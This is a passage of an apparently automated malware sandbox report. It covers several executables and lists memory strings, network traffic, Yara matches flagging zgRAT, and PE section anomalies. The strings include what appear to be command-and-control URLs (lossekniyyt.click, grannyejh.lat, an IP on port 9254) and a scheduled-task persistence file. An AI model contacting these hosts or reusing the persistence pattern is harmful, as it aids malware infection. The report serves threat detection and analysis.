Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://msdn.com/data/ef
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://namespace.google.com/openid/xmlns
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.1
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/signon/1.1
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002661000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000002.3079102097.0000000002743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: Cq6Id6x.exe, 00000012.00000002.3079931685.0000000003669000.00000004.00000800.00020000.00000000.sdmp, Cq6Id6x.exe, 00000012.00000000.3063995595.00000000001C2000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: random.exe.7.exe, random.exe.7.exe, 00000000.00000002.2706645420.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: random.exe.7.exe, 00000000.00000002.2693363771.0000000005460000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2706172568.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: svchost.exe, 00000016.00000002.3196888826.000000000296C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 00000016.00000002.3196888826.000000000296C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: 183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/GS
Source: 183776ee1b.exe, 0000001C.00000003.3296282086.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Cq6Id6x.exe, 00000014.00000002.3113518242.0000000001829000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/$G
Source: Cq6Id6x.exe, 00000014.00000002.3113518242.0000000001829000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113644465.000000000183C000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113360569.00000000017F7000.00000004.00000020.00020000.00000000.sdmp, Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: Cq6Id6x.exe, 00000014.00000002.3113360569.00000000017F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/apio
Source: Cq6Id6x.exe, 00000014.00000002.3113701494.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/tG
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: random.exe.7.exe, 00000000.00000002.2696441602.000000000B5A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: random.exe.7.exe, 00000000.00000003.2281792332.00000000004F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp, random.exe.7.exe, 00000000.00000002.2686782883.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp, random.exe.7.exe, 00000000.00000002.2686782883.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp, random.exe.7.exe, 00000000.00000002.2686782883.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp, random.exe.7.exe, 00000000.00000002.2686782883.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F24000.00000040.00000001.01000000.00000003.sdmp, random.exe.7.exe, 00000000.00000002.2686782883.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: random.exe.7.exe, 00000000.00000003.2574344595.000000000B815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: random.exe.7.exe, 00000000.00000002.2686782883.0000000000F05000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922

Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49928 version: TLS 1.2

Source: 0ee5eba208.exe, 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_f1dbfa21-2

Source: 0ee5eba208.exe, 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_1a531e79-2

Source: Yara match	File source: 22.3.svchost.exe.5110000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.0ee5eba208.exe.5c10000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.5110000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.0ee5eba208.exe.59f0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.0ee5eba208.exe.5c10000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.5330000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.5110000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.3.svchost.exe.5110000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.3188101830.0000000005330000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.3187895293.0000000005110000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3180591378.0000000005C10000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3180345649.00000000059F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0ee5eba208.exe PID: 5412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5608, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 18.2.Cq6Id6x.exe.3683198.0.raw.unpack, type: UNPACKEDPE

Matched rule: Detects zgRAT Author: ditekSHen

PE file contains section with special chars

Source: random.exe.7.exe	Static PE information: section name:
Source: random.exe.7.exe	Static PE information: section name: .idata
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name:
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: 0ee5eba208.exe.17.dr	Static PE information: section name:
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: .idata
Source: 0ee5eba208.exe.17.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
